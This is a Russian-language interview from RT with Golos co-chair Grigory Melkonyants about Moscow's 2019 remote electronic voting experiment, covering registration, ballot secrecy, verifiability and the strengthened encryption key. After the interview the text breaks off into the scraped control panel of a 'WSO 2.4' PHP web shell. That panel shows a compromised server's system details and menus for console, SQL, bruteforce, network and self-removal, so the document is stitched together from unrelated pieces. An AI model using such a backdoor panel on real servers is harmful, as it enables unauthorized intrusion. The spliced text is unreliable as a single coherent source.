«Технологии привлекают избирателей»: эксперт рабочей группы эксперимента по электронному голосованию о выборах в Москве

В России подведены итоги выборов, которые прошли по всей стране 8 сентября. В Москве впервые опробовали электронное голосование. Среди членов технической рабочей группы эксперимента — сопредседатель Движения в защиту прав избирателей «Голос» Григорий Мельконьянц. В интервью RT он рассказал о преимуществах и потенциале электронного голосования в России.

Впервые в России система удалённого электронного голосования была применена в ходе выборов в Московскую городскую Думу, прошедших 8 сентября. Эксперимент проводился в трёх округах столицы, где избиратели могли отдать голос удалённо со своих электронных устройств. Для этого горожане должны были заранее зарегистрироваться на портале мэрии Москвы и лично подтвердить своё намерение в МФЦ. 

Система вызвала одобрение среди международных наблюдателей. Так, специалист по геополитике из Франции Пьер-Эммануэль Томанн назвал Россию «лабораторией цифровой демократии» и подчеркнул, что «во всем мире идёт неизбежный поворот к цифровым процессам». 

Один из разработчиков эксперимента — сопредседатель Движения в защиту прав избирателей «Голос» Григорий Мельконьянц. Он же — один из хранителей ключа от шифра, с помощью которого подводятся итоги при такой форме волеизъявления. Мельконьянц присутствовал на процедуре соединения семи ключей шифра для входа в систему, показывающую результаты электронного голосования.   

— Григорий, расскажите, что представляет из себя движение «Голос»?

— Мы — экспертная организация по наблюдению за выборами. Лично я — член научно-экспертного совета при ЦИК. «Голос» на этих выборах работал в 39 регионах. Мы направляли наблюдателей на избирательные участки. В частности, в Москве активно работали на участках, взаимодействовали с общественным штабом по наблюдению за выборами, который возглавлял главный редактор «Эха Москвы» Алексей Венедиктов. До финального этапа выборов мы всё лето работали над электронным голосованием в столице. «Голос» входил в техническую рабочую группу, которая занималась консалтингом разработчиков этой системы. 

— В Москве в этом году прошли сразу два экспериметна: электронное голосование и цифровые избирательные участки.

«Страсти были нешуточные»: предварительные итоги единого дня голосования в России

— Да. Были созданы цифровые избирательные участки, на которых могли проголосовать иногородние избиратели, не москвичи, по довыборам депутатов Госдумы и губернаторов в регионах. Избиратели должны были заранее подать заявление и явиться в день голосования на избирательный участок. Там стояли электронные дисплеи. Член избирательной комиссии выдавал человеку штрих-код. Избиратель прикладывал его к экрану, и на нём появлялся его региональный бюллетень. Данные отправлялись непосредственно туда, где он является избирателем. 

— Удобно, но он всё же требует личного присутствия. Но москвичи могли проголосовать и без появления на участке, сидя на даче.

— Да, дистанционное электронное голосование позволяет голосовать в удалённо, не приходя на избирательный участок. Необходимо было только заранее зарегистрироваться через портал, в данном случае, mos.ru. В день голосования горожанам нужно было просто зайти в «Личный кабинет», получить электронный бюллетень, проголосовать — и эти результаты автоматически сохранялись в базе данных. То есть, это возможность буквально из любой точки планеты, где есть интернет, участвовать в выборах. Более того, дистанционно можно было даже подавать заявление на участие в этих выборах. 

— Какое количество избирателей приняло участие у электронном голосовании?

— Зарегистрировались около 11 тыс., а приняли участие в итоге около 10 тыс. избирателей. На самом деле, это беспрецедентно. Потому что электронное голосование в мире — крайне редкий сервис.

— Даже там, где есть электронные правительства? 

— Многие страны, к сожалению, не могут потянуть такие инновации финансово и технологически. Передовая страна в этом отношении — Эстония. Но там у людей есть электронные паспорта, что облегчает решение этой задачи.

— Как электронное голосование учитывает тайну волеизъявления?

— Любая электронная система — это всегда компромисс между тайной голосования и прозрачностью. С одной стороны, избиратель должен быть уверен, что никто не узнает, как он проголосовал, потому что это базовый принцип избирательного права. С другой стороны, должна быть прозрачность, чтобы и избиратели могли убедиться, что всё учтено правильно. И этот баланс между тайной и проверяемостью пока не найден нигде в мире. Поэтому я рад, что в России запущена дискуссия о том, как должно выглядеть электронное голосование. 

— А сам избиратель может убедиться, что его голос учтён верно?

— Есть спор относительно того, нужно ли избирателю предоставлять такую возможность. Пока разработчики отказались от того, чтобы после голосования у гражданина была возможность получить в зашифрованном виде обратно его «голос» уже в анонимном виде, как код, который можно проверить с помощью специального сервиса. Есть опасение, что кого-то могут принуждать отчитываться о том, как он проголосовал, и требовать от него, например, этот код. 

— В чём может быть уязвимость этих технологий?

— Например, если говорить об электронных участках с дистанционным голосованием, то они физически подключены к интернету, и есть определённые риски, связанные со хакерскими атаками. Но мы видим, что в этот раз никаких видимых вмешательств не произошло. Кроме того, основная проблема при удалённом голосовании — убедиться, что именно тот избиратель зашёл в «кабинет», а не кто-то другой.

Григорий Мельконянц — сопердседатель движения в защиту прав избирателей «Голос»

У нас в России со следующего года начнётся эксперимент по выдаче электронных паспортов. Избиратель, возможно, сможет авторизовываться по своему электронному паспорту. Это будет некий цифровой ключ, который позволяет идентифицировать человека. В перспективе, возможно, будут какие-то биометрические способы проверки. Сейчас Ростелеком в России тестирует систему, которая позволяет, например, получать банковские услуги по своим биометрическим данным, когда записывают твои голос и лицо.

— Перед голосованием проходили публичные тесты. Позволили ли они улучшить систему?

— Венедиктов бросил вызов, сказал, что выплатит гонорар тому, кто вскроет шифр. Уязвимость ключа шифрования, позволявшую заранее узнать результаты, выявил криптограф из Франции Пьеррик Годри. В итоге разработчики улучшили код шифрования — его увеличили с 256 бит до 1024 бит. Никто в мире за ограниченное время пока не взломал такой шифр.

— Международные наблюдатели высоко оценили квалификацию людей, работавших на электронных участках. Сложно ли будет подготовить кадры, если эта технология будет применяться повсеместно? 

— Людей нужно обучать. Я полагаю, что в будущем необходимо даже формировать корпус электронных наблюдателей. Это должна быть новая генерация таких специалистов. Кроме того, необходимо получить прозрачные инструменты, с помощью которых наблюдатели смогут следить за ходом электронного голосования. 

— Как вы оцениваете потенциал электронного голосования в России? 

— Сегодня в стране бум на такие избирательные технологии. После этих выборов перед властями будет стоять выбор, в какие технологии вкладывать бюджетные деньги. Центризбирком сейчас очень внимательно смотрит на все эти технологии. Думаю, что будущее электронного голосования будет зависеть от результатов прошедшего в Москве эксперимента: сколько людей приняли участие, были ли какие-то проблемы, выявлены ли какие-то уязвимости. Не исключено, что на федеральных выборах 2021-го года в Госдуму, или на выборах президента в 24-м году, мы увидим элементы этой системы уже в действии.

— А со стороны избирателей эти технологии будут набирать популярность?

— На мой взгляд, все эти технологии могут привлекать новых избирателей: молодёжь, тех, кто ездит на дачу, находится в отпуске, в командировке, и тех, кому просто лень ходить на свой избирательный участок. Мы заинтересованы в том, чтобы как можно больше людей принимало участие в формировании органов власти, чтобы повышать легитимность выборов, значимость и ответственность самих людей за тех, кого они выбрали во власть.

xn--90agqlqcnr.xn--p1ai - WSO 2.4
Uname:
User:
Php:
Hdd:
Cwd:
Linux ru1.default-host.net 3.10.0-962.3.2.lve1.5.26.2.el7.x86_64 #1 SMP Tue Jul 23 08:31:06 EDT 2019 x86_64 [exploit-db.com]
1355 ( forexr ) Group: 1355 ( forexr )
5.6.40 Safe mode: OFF [ phpinfo ] Datetime: 2019-09-15 21:01:35
1 B Free: B (0%)
u--------- [ home ]

Server IP:
127.0.0.1
Client IP:
34.231.247.139
[ Sec. Info ][ Files ][ Console ][ Sql ][ Php ][ Safe mode ][ String tools ][ Bruteforce ][ Network ][ Self remove ]

File manager

Can't open this folder!
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Execute:
Upload file: (Not writable)